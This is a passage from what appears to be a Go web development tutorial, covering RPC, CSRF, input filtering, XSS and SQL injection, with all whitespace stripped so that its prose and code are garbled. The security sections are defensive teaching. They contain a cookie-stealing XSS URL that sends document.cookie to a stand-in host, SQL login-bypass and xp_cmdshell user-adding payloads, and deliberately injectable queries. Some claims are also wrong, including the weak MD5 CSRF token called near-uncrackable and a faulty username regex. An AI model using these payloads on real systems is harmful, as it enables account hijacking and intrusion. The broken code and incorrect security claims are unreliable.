Let'strytheRPCthatisbasedonTCP,hereistheserversidecode:

packagemain

import("errors""fmt""net""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{

Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

ThedifferencebetweenHTTPRPCandTCPRPCisthatwehavetocontrolconnectionsbyourselvesifweuseTCPRPC,thenpassconnectionstoRPCforprocessing.

Asyoumayhaveguessed,thisisablockingpattern.Youarefreetousegoroutinestoextendthisapplicationasamoreadvancedexperiment.

Theclientsidecode:

packagemain

import("fmt""log""net/rpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")os.Exit(1)}service:=os.Args[1]

client,err:=rpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{

log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)

}

TheonlydifferenceintheclientsidecodeisthatHTTPclientsuseDialHTTPwhereasTCPclientsuseDial(TCP).

JSONRPC

JSONRPCencodesdatatoJSONinsteadofgob.Let'sseeanexampleofaGoJSONRPContheserver:

packagemain

import("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

typeArithint

func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}

func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}

funcmain(){

arith:=new(Arith)rpc.Register(arith)

tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)

listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)

for{conn,err:=listener.Accept()iferr!=nil{continue}jsonrpc.ServeConn(conn)}

}

funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}

JSONRPCisbasedonTCPanddoesn'tsupportHTTPyet.

Theclientsidecode:

packagemain

import("fmt""log""net/rpc/jsonrpc""os")

typeArgsstruct{A,Bint}

typeQuotientstruct{Quo,Remint}

funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server:port")log.Fatal(1)}service:=os.Args[1]

client,err:=jsonrpc.Dial("tcp",service)iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)

varquotQuotienterr=client.Call("Arith.Divide",args,&quot)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,qu

ot.Quo,quot.Rem)

}

Summary

GohasgoodsupportforHTTP,TPCandJSONRPCimplementationwhichallowustoeasilydevelopdistributedwebapplications;however,itisregrettablethatGodoesn'thavebuilt-insupportforSOAPRPC,althoughsomeopensourcethird-partypackagesdoofferthis.

Links

DirectoryPrevioussection:RESTNextsection:Summary

8.5SummaryInthischapter,Iintroducedyoutoseveralmainstreamwebapplicationdevelopmentmodels.Insection8.1,Idescribedthebasicsofnetworkprogrammingsockets.Becauseoftherapidevolutionofnetworktechnologyandinfrastructure,andgiventhattheSocketisthecornerstoneofthesechanges,youmustmastertheconceptsbehindsocketprogramminginordertobeacompetentwebdeveloper.Insection8.2,IdescribedHTML5WebSocketswhichsupportfull-duplexcommunicationsbetweenclientandserverandeliminatetheneedforpollingwithAJAX.Insection8.3,weimplementedasimpleapplicationusingtheRESTarchitecture,whichisparticularlysuitableforthedevelopmentofnetworkAPIs;duetotherapidriseofmobileapplications,IbelievethatRESTfulAPIswillbeanongoingtrend.Insection8.4,welearnedaboutGoRPCs.

Goprovidesexcellentsupportforthefourkindsofdevelopmentmethods

mentionedabove.Notethatthenetpackageanditssub-packagesistheplacewhereGo'snetworkprogrammingtoolsGoreside.Ifyouwantamorein-depthunderstandingoftherelevantimplementationdetails,youshouldtryreadingthesourcecodeofthosepackages.

Links

DirectoryPrevioussection:RPCNextchapter:Securityandencryption

9SecurityandencryptionSecurityisanextremelyimportantaspectofmostwebapplications.Thistopichasbeengettingmoreandmoreattentionlately,especiallyinlightoftherecentCSDN,LinkedinandYahoopasswordleaks.AsGodevelopers,wemustbeawareofvulnerabilitiesinourapplicationsandtakeprecautionsinordertopreventattackersfromtakingoveroursystems.

Manyofthesecurityproblemsthatariseinmodernwebapplicationsoriginatefromdataprovidedbythird-parties.Forexample,userinputshouldalwaysbevalidatedandsanitizedbeforebeingstoredassecuredata.Ifthisisn'tdone,whenthedataisoutputtedtoaclient,itmaycauseacross-sitescriptingattack(XSS).Similarly,ifunsafedataisuseddirectlyasyourapplication'sdatabasequeries,thenyoumaybevulnerabletoSQLinjectionattacks.Insections9.3and9.4,we'lllookathowtoavoidtheseproblems.

Whenusingthird-partydata(whichincludesuser-supplieddata),firstverifytheintegrityofthedatabyfilteringtheinput.Section9.2willdescribehowtofilterinput.

Unfortunately,filteringinputandescapingoutputdoesnotsolveallsecurityproblems.Insection9.1,wewillexplaincross-siterequestforgery(CSRF)attacks.Thisisamaliciousexploitwhereunauthorizedcommandsare

transmittedfromauserthatthewebsitetrusts.

Keepingconfidentialdataencryptedcanalsohelpyoutosecureyourwebapplications.Insection9.5,wewilldescribehowtostorepasswordssafelyusingGo'sencryptionpackage.

Agoodhashfunctionmakesithardtofindtwostringsthatwouldproducethesamehashvalue,andthisisonewaywithwhichwecanencryptourdata.Thereisalsotwo-wayencryption,whereyouuseasecretkeytodecryptencrypteddata.Insection9.6wewilldescribehowtoperformbothone-wayandtwo-wayencryption.

Links

DirectoryPreviousChapter:Chapter8SummaryNextsection:CSRFattacks

9.1CSRFattacks

WhatisCSRF?

CSRFandXSRFbothstandfor"Cross-siterequestforgery".It'salsoknownasa"oneclickattack"or"sessionriding".

SohowdoesaCSRFattackwork?ACSRFattackhappenswhenanattackertricksatrusteduserintoaccessingawebsiteorclickingaURLthattransmitsmaliciousrequests(withouttheuser’sconsent)toatargetedwebsite.Here'sasimpleexample:usingafewsocialengineeringtricks,anattackercouldusetheQQchatsoftwaretofindandsendmaliciouslinkstovictimstargetedattheiruser'sonlinebankingwebsite.Ifthevictimlogsintotheironlinebankaccountanddoesnotexit,thenclickingonamaliciouslinksentfromtheattackercouldallowtheattackertostealalloftheuser'sbankaccount

funds.

WhenunderaCSRFattack,asingleend-userwithanadministratoraccountcanthreatentheintegrityoftheentirewebapplication.

CSRFprinciple

ThefollowingdiagramprovidesasimpleoverviewofaCSRFattack

Figure9.1CSRFattackprocess.

Ascanbeseenfromthefigure,tocompleteaCSRFattack,thevictimmustcompletethefollowingtwosteps:

-1.LogintotrustedsiteA,andstorealocalCookie.-2.WithoutgoingthroughexistingsiteA,accessthedangerouslinktositeB.

Asareaderyoumaybeasking:"IfIdonotmeettheabovetwoconditions,IwillwillnotbesubjectedtoCSRFattacks."Yesthisistrue,howeveryoucannotguaranteethatthefollowingdoesnotoccur:

Youcannotguaranteethatwhenyouareloggedintoasite,thesitedidn'tlaunchanyhiddentabs.Youcannotguaranteethatwhenyoucloseyourbrowser,yourcookieswillimmediatelyexpireandyourlastsessionwillhaveended.Trusted,hightrafficwebsiteswilllikelynothavehiddenvulnerabilitieseasilyexploitablebyCSRFbasedattacks.

Thus,itcanbedifficultforuserstovisitawebsitethroughalinkandknowthatitwillnotcarryoutunknownoperationsintheformofaCSRFattack.

CSRFattacksworkmostlybecauseoftheprocessthroughwhichusersareauthenticated.Althoughyoucanreasonablyguaranteethatarequestoriginatesfromauser'sbrowser,thereisnoguaranteethattheusergrantedapprovalfortherequest.

HowtopreventCSRFattacks

Youmightbealittlescaredafterreadingthesectionabove.Butfearisagoodthing.Itwillforceyoueducateyourselfonhowtopreventvulnerabilitieslikethisfromhappeningtoyou.

PreventativemeasuresagainstCSRFattackscanbetakenonboththeserverandclientsidesofawebapplication.However,CSRFattacksaremosteffectivelythwartedontheserverside.

TherearemanywaysofpreventingCSRFattacksaretheserverside.Mostapproachesstemfromfromthefollowingtwoaspects:

1. MaintainingproperuseofGET,POSTandcookies.

2. Includingapseudo-randomnumberwithnon-GETrequests.

InthepreviouschapteronREST,wesawhowmostwebapplicationsarebasedonGETandPOSTHTTPrequests,andthatcookieswereincludedalongwiththeserequests.Wegenerallydesignapplicationasaccordingtothefollowingprinciples:

1. GETiscommonlyusedtoviewinformationwithoutalteringanydata.

2. POSTisusedinplacingorders,changingthepropertiesofaresourceorperformingothertasks.

I'mnowgoingtousetheGolanguagetoillustratehowtorestrictaccesstoresourcesmethods:

mux.Get("/user/:uid",getuser)mux.Post("/user/:uid",modifyuser)

Sincewe'vestipulatedthatmodificationscanonlyusePOST,whenaGETmethodisissuedinsteadofaPOST,wecanrefusetorespondtotherequest.Accordingtothefigureabove,attacksutilizingGETasaCSRFexploitcanbeprevented.IsthisenoughtopreventallpossibleCSRFattacks?Ofcoursenot,becausePOSTscanalsobeforged.

Weneedtoimplementasecondstep,whichis(inthecaseofnon-GETrequests)toincreasethelengthofthepseudo-randomnumberincludedwiththerequest.Thisusuallyinvolvessteps:

Foreachuser,generateauniquecookietokenwithapseudo-randomvalue.Allformsmustcontainthesamepseudo-randomvalue.Thisproposalisthesimplestonebecauseintheory,anattackercannotreadthirdpartycookies.Anyformthatanattackermaysubmitwillfailthevalidationprocesswithoutknowingwhattherandomvalueis.Differentformscontaindifferentpseudo-randomvalues,aswe'veintroducedinsection4.4,"Howtopreventmultipleformsubmission".Wecanreusetherelevantcodefromthatsectionsuitourneeds:

Generatingarandomnumbertoken:

h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))io.WriteString(h,"ganraomaxxxxxxxxx")token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)

Outputtoken:

<inputtype="hidden"name="token"value="{{.}}">

Authenticationtoken:

r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//Verificationtokenoflegitimacy}Else{//Errortokendoesnotexist}

WecanusetheprecedingcodetosecureourPOSTs.Youmightbewondering,inaccordancewithourtheory,whethertherecouldbesomewayforamaliciousthirdpartytosomehowfigureoutoursecrettokenvalue?Infact,crackingitisbasicallyimpossible-successfullycalculatingthecorrectstringvalueusingbruteforcemethodsneedsabout2tothe11thtime.

Summary

Cross-siterequestforgery,otherwiseknownasCSRF,isaverydangerouswebsecuritythreat.Itisknowninwebsecuritycirclesasa"sleepinggiant"securityissue;asyoucantell,CSRFattackshavequitethereputation.This

sectionnotonlyintroducedcross-siterequestforgeryitself,butfactorsunderlyingthisvulnerability.Itconcludeswithsomesuggestionsandmethodsforpreventingsuchattacks.Ihopethissectionwillhaveinspiredyou,asareader,towritebetterandmoresecurewebapplications.

Links

DirectoryPrevioussection:SecurityandencryptionNextsection:Filterinputs

9.2FilteringinputsFilteringuserdataisonewaywecanimprovethesecurityofourwebapps,usingittoverifythelegitimacyofincomingdata.Alloftheinputdataisfilteredinordertoavoidmaliciouscodeordatafrombeingmistakenlyexecutedorstored.Mostwebapplicationvulnerabilitiesariseformneglectingtofilterinputdataandnaivelytrustingit.

Ourintroductiontofilteringdataisdividedintothreesteps:

1. identifyingthedata;weneedtofilterthedatatofigureoutwhereitoriginatedform

2. filteringofthedataitself;weneedtofigureoutwhatkindofdatawehavereceived

3. distinguishbetweenfiltered(sanitized)andtainteddata;afterthedatahasbeenfiltered,wecanbeassuredthatitisissecure

Identifyingdata

"Identifyingthedata"isourfirststepbecausemostofthetime,asmentioned,wedon'tknowwhereitoriginatesfrom.Withoutthisknowledge,wewouldbeunabletoproperlyfilterit.Thedatahereisprovidedinternally

allfromnon-codedata.Forexample:alldatacomesfromclients,howeverclientsthatareusersarenottheonlyexternalsourcesofdata.Adatabaseinterfaceprovidingthirdpartydatacouldalsobeanexternaldatasource.

DatathathasbeenenteredbyauserisveryeasytorecognizeinGo.Weuser.ParseFormaftertheuserPOSTsaformtogetallofthedatainsidether.Form.Othertypesofinputaremuchhardertoidentify.Forexampleinr.Headers,manyoftheelementsareoftenmanipulatedbytheclient.Itcanoftenbedifficulttoidentifywhichoftheseelementshavebeenmanipulatedbyclients,soit'sbesttoconsiderallofthemashavingbeentainted.Ther.Header.Get("Accept-Charset")headerfield,forinstance,isalsoconsideredasuserinput,althoughthesearetypicallyonlymanipulatedbybrowsers.

Filteringdata

Ifweknowthesourceofthedata,wecanfilterit.Filteringisabitofaformaluseoftheterm.Theprocessisknownbymanyothertermssuchasinputcleaning,validationandsanitization.Despitethefactthatthesetermssomewhatdifferintheirmeaning,theyallrefertothesamething:theprocessofpreventingillegaldatafrommakingitswayintoyourapplications.

Therearemanywaystofilterdata,someofwhicharelesssecurethanothers.Thebestmethodistocheckwhetherornotthedataitselfmeetsthelegalrequirementsdictatedbyyourapplication.Whenattemptingtodoso,it'sveryimportantnottomakeanyattemptsatcorrectingtheillegaldata;thiscouldallowmalicioususerstomanipulateyourvalidationrulesfortheirownneeds,altogetherdefeatingthepurposeoffilteringthedatainthefirstplace.Historyhasproventhatattemptingtocorrectinvaliddataoftenleadstosecurityvulnerabilities.Let'stakealookatanoverlysimpleexampleforillustrationpurposes.Supposethatabankingsystemasksuserstosupplyasecure,6digitpassword.Thesystemvalidatesthelengthofallpasswords.Onemightnaivelywriteavalidationrulethatcorrectspasswordsofillegallengths:"Ifapasswordisshorterthanthelegallength,fillintheremainingdigitswith0s".Thissimplerulewouldallowattackerstoguessjustthefirstfewdigitsofapasswordtosuccessfullygainaccesstouseraccounts!

Wecanuseseverallibrariestohelpustofilterdata:

Thestrconvpackagecanhelpustoconvertuserinputedstringsintospecifictypes,sincer.Formsaremapsofstringvalues.SomecommonstringconversionsprovidedbystrconvareAtoi,ParseBool,ParseFloatandParseInt.Go'sstringspackagecontainssomefilterfunctionslikeTrim,ToLowerandToTitle,whichcanhelpustoobtaindatainaspecificformats,accordingtoourneeds.Go'sregexppackagecanbeusedtohandlecaseswhicharemorecomplexinnature,suchasdeterminingwhetheraninputisanemailaddress,abirthday,etc.

Filteringincomingdatainadditiontoauthenticationcanbequiteeffective.Let'saddanothertechniquetoourrepertoire,calledwhitelisting.Whitelistingisagoodwayofconfirmingthelegitimacyofincomingdata.Usingthismethod,ifanerroroccurs,itcanonlymeanthattheincomingdataisillegal,andnottheopposite.Ofcourse,wedon'twanttomakeanymistakesinourwhitelistbyfalselylabellinglegitimatedataasillegal,butthisscenarioismuchbetterthanillegaldatabeinglabeledaslegitimate,andthusmuchmoresecure.

Distinguishingbetweenfilteredandtainteddata

Ifyouhavecompletedtheabovesteps,thejoboffilteringdatahasbasicallybeencompleted.Howeverwhenwritingwebapplications,wealsoneedtodistinguishbetweenfilteredandtainteddatabecausedoingsocanguaranteetheintegrityofourdatafilteringprocesswithoutaffectingtheinputdata.Let'sputallofourfiltereddataintoaglobalmapvariablecalledCleanMap.Then,twoimportantstepsarerequiredtopreventcontaminationviadatainjection:

EachrequestmustinitializeCleanMapasanemptymap.PreventvariablesfromexternaldatasourcesnamedCleanMapfrom

beingintroducedintotheapp.

Next,let'suseanexampleformtoreinforcetheseconcepts:

<formaction="/whoami"method="POST">WhoamI:<selectname="name"><optionvalue="astaxie">astaxie</option><optionvalue="herry">herry</option><optionvalue="marry">marry</option></select><inputtype="submit"/></form>

Indealingwiththistypeofform,itcanbeveryeasytomakethemistakeofthinkingthatuserswillonlybeabletosubmitoneofthethreeselectoptions.Infact,POSToperationscaneasilybesimulatedbyattackers.Forexample,bysubmittingthesameformwithname=attack,amalicioususercouldintroduceillegaldataintooursystem.Wecanuseasimplewhitelisttocounterthesetypesofattacks:

r.ParseForm()name:=r.Form.Get("name")CleanMap:=make(map[string]interface{},0)ifname=="astaxie"||name=="herry"||name=="marry"{CleanMap["name"]=name}

TheabovecodeinitializesaCleanMapvariable,andanameisonlyassignedaftercheckingitagainstaninternalwhitelistoflegitimatevalues(astaxie,herryandmarryinthiscase).WestorethedataintheCleanMapinstancesoyoucanbesurethatCleanMap["name"]holdsavalidatedvalue.Anycodewishingtoaccessthisvaluecanthenfreelydoso.Wecanalsoaddanadditionalelsestatementtotheaboveifwhitelistfordealingwithillegaldata,apossibilitybeingthattheformwasdisplayedwithanerror.Donottrytobetooaccommodatingthough,oryouruntheriskofaccidentallycontaminatingyourCleanMap.

Theabovemethodforfilteringdataagainstasetofknown,legitimatevaluesisveryeffective.Thereisanothermethodforcheckingwhetherornotincomingdataconsistsoflegalcharactersusingregexp,howeverthiswouldbeineffectualintheabovecasewherewerequirethatthenamebeanoptionfromtheselect.Forexample,youmayrequirethatusernamesonlyconsistoflettersandnumbers:

r.ParseForm()username:=r.Form.Get("username")CleanMap:=make(map[string]interface{},0)ifok,_:=regexp.MatchString("^[a-zA-Z0-9].$",username);ok{CleanMap["username"]=username}

Summary

Datafilteringplaysavitalroleinthesecurityofmodernwebapplications.Mostsecurityvulnerabilitiesaretheresultofimproperlyfilteringdataorneglectingtoproperlyvalidateit.BecausetheprevioussectiondealtwithCSRFattacksandthenexttwowillbeintroducingXSSattacksandSQLinjection,therewasnonaturalsegueintodealingwithasimportantatopicasdatasanitization,sointhissection,wepaidspecialattentiontoit.

Links

DirectoryPrevioussection:CSRFattacksNextsection:XSSattacks

9.3XSSattacksWiththedevelopmentofInternettechnology,webapplicationsareoftenpackedwithdynamiccontenttoimproveuserexperience.Dynamiccontent

iscontentthatreactsandchangesaccordingtouserrequestsandactions.Dynamicsitesareoftensusceptibletocross-sitescriptingattacks(oftenreferredtobysecurityexpertsinitsabbreviatedform,XSS),somethingwhichstaticwebsitesarecompletelyunaffectedby.

WhatisXSS

Asmentioned,thetermXSSisanacronymforCross-SiteScripting,whichisatypeofattackcommonontheweb.Inordernottoconfuseitwithanothercommonwebacronym,CSS(CascadingStyleSheets),weuseanXinsteadofaCforthecrossincross-sitescripting.XSSisacommonwebsecurityvulnerabilitywhichallowsattackerstoinjectmaliciouscodeintowebpages.Unlikemosttypesofattackswhichgenerallyinvolveonlyanattackerandavictim,XSSinvolvesthreeparties:anattacker,aclientandawebapplication.ThegoalofanXSSattackistostealcookiesstoredonclientsbywebapplicationsforthepurposeofreadingsensitiveclientinformation.Onceanattackergetsaholdofthisinformation,theycanimpersonateusersandinteractwithwebsiteswithouttheirknowledgeorapproval.

XSSattackscanusuallybedividedintotwocategories:oneisastoredXSSattack.Thisformofattackariseswhenusersareallowedtoinputdataontoapublicpage,whichafterbeingsavedbytheserver,willbereturned(unescaped)tootherusersthathappentobebrowsingit.Someexamplesofthetypesofpagesthatareoftenaffectedincludecomments,reviews,blogpostsandmessageboards.Theprocessoftengoeslikethis:anattackerenterssomehtmlfollowedbyahidden<script>tagcontainingsomemaliciouscode,thenhitssave.Thewebapplicationsavesthistothedatabase.Whenanotheruserrequeststhispage,theapplicationqueriesthistainteddatafromthedatabaseandservesthepagetotheuser.Theattacker'sscriptthenexecutesarbitrarycodeontheclient'scomputer.

TheothertypeisareflectedXSSattack.ThemainideaistoembedamaliciousscriptdirectlyintothequeryparametersofaURLaddress.Aserverthatimmediatelyparsesthisdataintoapageofresultsandreturnsit(totheclientwhomadetherequest)unsanitized,canunwittinglycausetheclient'scomputertoexecutethiscode.Anattackercansendausera

legitimatelookinglinktoatrustedwebsitewiththeencodedpayload;clickingonthislinkcancausetheuser'sbrowsertoexecutethemaliciousscript.

XSSpresentthemainmeansandendsasfollows:

Theftofcookies,accesstosensitiveinformation.TheuseofembeddedFlash,throughcrossdomainpermissions,canalsobeusedbyanattackertoobtainhigheruserpriviledges.ThisalsoappliesforothersimilarattackvectorssuchasJavaandVBScript.Theuseofiframes,frames,XMLHttpRequests,etc.,canallowanattackertoassumetheidentityofausertoperformadministrativeactionssuchasmicro-blogging,addingfriends,sendingprivatemessages,andotherroutineoperations.Awhileago,theSinamicrobloggingplatformsufferedfromthistypeofXSSvulnerability.WhenmanyusersvisitapageaffectedbyanXSSattack,theeffectonsomesmallersitescanbecomparabletothatofaDDoSattack.

XSSprinciples

Webapplicationsthatreturnrequesteddatatouserswithoutfirstinspectingandfilteringitcanallowmalicioususerstoinjectscripts(typicallyembeddedinsideHTMLwithin<script>tags)ontootherusers'browsers.Whenthismaliciouscodeisrenderedonauser'sbrowserwithoutfirsthavingbeenescapedfrom,theuser'sbrowserwillinterpretthiscode:thisisthedefinitionofanXSSattack,andthistypeofmistakeistheleadingcauseofXSSvulnerabilities.

Let'sgothroughtheprocessofareflectiveXSSattack.Let'ssaythere'sawebsitethatoutputsauser'snameaccordingtotheURLqueryparameters;accessthefollowingURLhttp://127.0.0.1/?name=astaxiewillcausetheservertooutputthefollowing:

helloastaxie

Let'ssaywepassthefollowingparameterinstead,accessingthesameurl:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>.Ifthiscausesthebrowsertoproduceanalertpop-upbox,wecanconfirmthatthesiteisvulnerabletoXSSattacks.Sohowdomalicioususersstealcookiesusingthesametypeofattack?

Justlikebefore,wehaveaURL:

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

ByclickingonthisURL,you'dbesendingthecurrentcookietothespecifiedsite:www.xxx.com.Youmightbewondering,whywouldanybodyclickonsuchastrangelookingURLinthefirstplace?Whileit'struethatthiskindofURLwillmakemostpeopleskeptical,ifanattackerweretouseoneofthemanypopularURLshorteningservicestoobscureit,wouldyoustillbeabletoseeit?MostattackerswouldobfuscatetheURLinonewayoranother,andyou'donlyknowthelegitimacyofthelinkafterclickingonit.Howeverbythispoint,cookiedatawillhavealreadybeensenttothe3rdpartywebsite,compromisingyoursensitiveinformation.YoucanusetoolslikeWebsleuthtoauditthesecurityofyourwebapplicationsforthesetypesofvulnerabilities.

ForamoredetailedanalysisonanXSSattack,havealookatthearticle:"[SinamicrobloggingXSSeventanalysis](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"

HowtopreventXSS

Theanswerissimple:nevertrustuserinput,andalwaysfilteroutallspecialcharactersinanyinputdatayoumayreceive.ThiswilleliminatethemajorityofXSSattacks.

UsethefollowingtechniquestodefendagainstXSSattacks:

Filterspecialcharacters

OnewaytoavoidXSSistofilteruser-suppliedcontent.TheGolanguageprovidessomeHTMLfilteringfunctionsinitstext/templatepackgesuchasHTMLEscapeStringandJSEscapeString,tonameafew.

SpecifythecontenttypeinyourHTTPheaders

w.Header().Set("Content-Type","text/javascript")

Thisallowsclientbrowserstoparsetheresponseasjavascriptcode(applyingtheneccessaryfilters)insteadofrenderingthecontentinanunspecifiedandpotentiallydangerousmanner.

Summary

IntroducingXSSvulnerabilitiesisaveryrealhazardwhendeveloppingwebapplications.Itisimportanttoremembertofilteralldata,especiallybeforeoutputtingittoclients;thisisnowawell-establishedmeansofpreventingXSS.

Links

DirectoryPrevioussection:FilterinputsNextsection:SQLinjection

9.4SQLinjection

WhatisSQLinjection

SQLinjectionattacksare(asthenamewouldsuggest)oneofthemanytypesofscriptinjectionattacks.Inwebdevelopment,thesearethemost

commonformofsecurityvulnerabilities.Attackerscanuseittoobtainsensitiveinformationfromdatabases,andaspectsofanattackcaninvolveaddinguserstothedatabase,exportingprivatefiles,andevenobtainingthehighestsystemprivilegesfortheirownnefariouspurposes.

SQLinjectionoccurswhenwebapplicationsdonoteffectivelyfilteroutuserinput,leavingthedoorwideopenforattackerstosubmitmaliciousSQLquerycodetotheserver.Applicationsoftenreceiveinjectedcodeaspartofanattacker'sinput,whichaltersthelogicoftheoriginalqueryinsomeway.Whentheapplicationattemptstoexecutethequery,theattacker'smaliciouscodeisexecutedinstead.

SQLinjectionexamples

ManywebdevelopersdonotrealizehowSQLqueriescanbetamperedwith,andmayholdthemisconceptionthattheyaretrustedcommands.Aseveryoneknows,SQLqueriesareabletocircumventaccesscontrols,therebybypassingthestandardauthenticationandauthorizationchecks.What'smore,it'spossibletorunSQLqueriesthroughcommandsatthelevelofthehostsystem.

Let'shavealookatsomerealexamplestoexplaintheprocessofSQLinjectionindetail.

Considerthefollowingsimpleloginform:

<formaction="/login"method="POST"><p>Username:<inputtype="text"name="username"/></p><p>Password:<inputtype="password"name="password"/></p><p><inputtype="submit"value="Login"/></p></form>

Ourformprocessingmightlooklikethis:

username:=r.Form.Get("username")

password:=r.Form.Get("password")sql:="SELECT*FROMuserWHEREusername='"+username+"'ANDpassword='"+password+"'"

Iftheuserinputsausernameorpasswordas:

myuser'or'foo'='foo'--

ThenourSQLbecomesthefollowing:

SELECT*FROMuserWHEREusername='myuser'or'foo'='foo'--''ANDpassword='xxx'

InSQL,anythingafter--isacomment.Thus,insertingthe--astheattackerdidabovealtersthequeryinafatalway,allowinganattackertosuccessfullyloginasauserwithoutavalidpassword.

FarmoredangerousexploitsexistforMSSQLSQLinjections,andsomecanevenperformsystemcommands.ThefollowingexampleswilldemonstratehowterribleSQLinjectionscanbeinsomeversionsofMSSQLdatabases.

sql:="SELECT*FROMproductsWHEREnameLIKE'%"+prod+"%'"Db.Exec(sql)

Ifanattackersubmitsa%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--asthe"prod"variable,thenthesqlwillbecome

sql:="SELECT*FROMproductsWHEREnameLIKE'%a%'execmaster..xp_cmdshell'netusertesttestpass/ADD'--%'"

TheMSSQLServerexecutestheSQLstatementincludingthecommandsintheusersupplied"prod"variable,whichaddsnewuserstothesystem.Ifthis

programisrunasis,andtheMSSQLSERVERservicehassufficientprivileges,anattackercanregisterasystemaccounttoaccessthismachine.

Althoughtheexamplesabovearetiedtoaspecificdatabasesystem,thisdoesnotmeanthatotherdatabasesystemscannotbesubjectedtosimilartypesofattacks.TheprinciplesbehindSQLinjectionattacksremainthesame,thoughthemethodwithwhichtheyareperpetratedmayvary.

HowtopreventSQLinjection

Youmightbethinkingthatanattackerwouldhavetoknowinformationaboutthetargetdatabase'sstructureinordertocarryoutanSQLinjectionattack.Whilethisistrue,it'sdifficulttoguaranteethatanattackerwon'tbeabletofindthisinformationandoncetheygetit,thedatabasecanbecompromised.Ifyouareusingopensourcesoftwaretoaccessthedatabase,suchasaforumapplication,intruderscaneasilygettherelatedcode.Obviouslywithpoorlydesignedcode,thesecurityrisksareevengreater.Discuz,phpwindandphpcmsaresomeexamplesofpopularopensourceprogramsthathavebeenvulnerabletoSQLinjectionattacks.

Theseattackshappentosystemswheresafetyprecautionsarenotprioritized.We'vesaiditbefore,we'llsayitagain:nevertrustanykindofinput,especiallyuserdata.Thisincludesdatacomingfromselectionboxes,hiddeninputfieldsorcookies.Asourfirstexampleabovehasshown,evensupposedlynormalqueriescancausedisasters.

SQLinjectionattackscanbedevastating-howcandoweevenbegintodefendagainstthem?ThefollowingsuggestionsareagoodstartingpointforpreventingSQLinjection:

1. Strictlylimitpermissionsfordatabaseoperationssothatusersonlyhavetheminimumsetofpermissionsrequiredtoaccomplishtheirwork,thusminimizingtheriskofdatabaseinjectionattacks.

2. Checkthatinputdatahastheexpecteddataformat,andstrictlylimitthetypesofvariablesthatcanbesubmitted.Thiscaninvolveregexp

matching,orusingthestrconvpackagetoconvertstringsintootherbasictypesforsanitizationandevaluation.

3. Transcodeorescapefrompairsofspecialcharacters('"\&*;etc.)beforepersistingthemintothedatabase.Go'stext/templatepackagehasaHTMLEscapeStringfunctionthatcanbeusedtoreturnescapedHTML.

4. Useyourdatabase'sparameterizedqueryinterface.ParameterizedstatementsuseparametersinsteadofconcatenatinguserinputvariablesinembeddedSQLstatements;inotherwords,theydonotdirectlyspliceSQLstatements.Forexample,usingthethePreparefunctioninGo'sdatabase/sqlpackage,wecancreatepreparedstatementsforlaterexecutionwithQueryorExec(querystring,args...interface{}).

5. Beforereleasingyourapplication,thoroughlytestitusingprofessionaltoolsfordetectingSQLinjectionvulnerabilitiesandtorepairthem,iftheyexist.Therearemanyonlineopensourcetoolsthatdojustthis,suchassqlmap,SQLninja,tonameafew.

6. AvoidprintingoutSQLerrorinformationonpublicwebpages.AttackerscanusetheseerrormessagestocarryoutSQLinjectionattacks.Examplesofsucherrorsaretypeerrors,fieldsnotmatchingerrors,oranyerrorscontainingSQLstatements.

Summary

Throughtheaboveexamples,we'velearnedthatSQLinjectionisaveryrealandverydangerouswebsecurityvulnerability.Whenwewritewebapplication,weshouldpayattentiontoeverylittledetailandtreatsecurityissueswiththeutmostcare.Doingsowillleadtobetterandmoresecurewebapplications,andcanultimatelybethedetermingfactorinwhetherornotyourapplicationsucceeds.

Links

DirectoryPrevioussection:XSSattacks

Nextsection:Passwordstorage

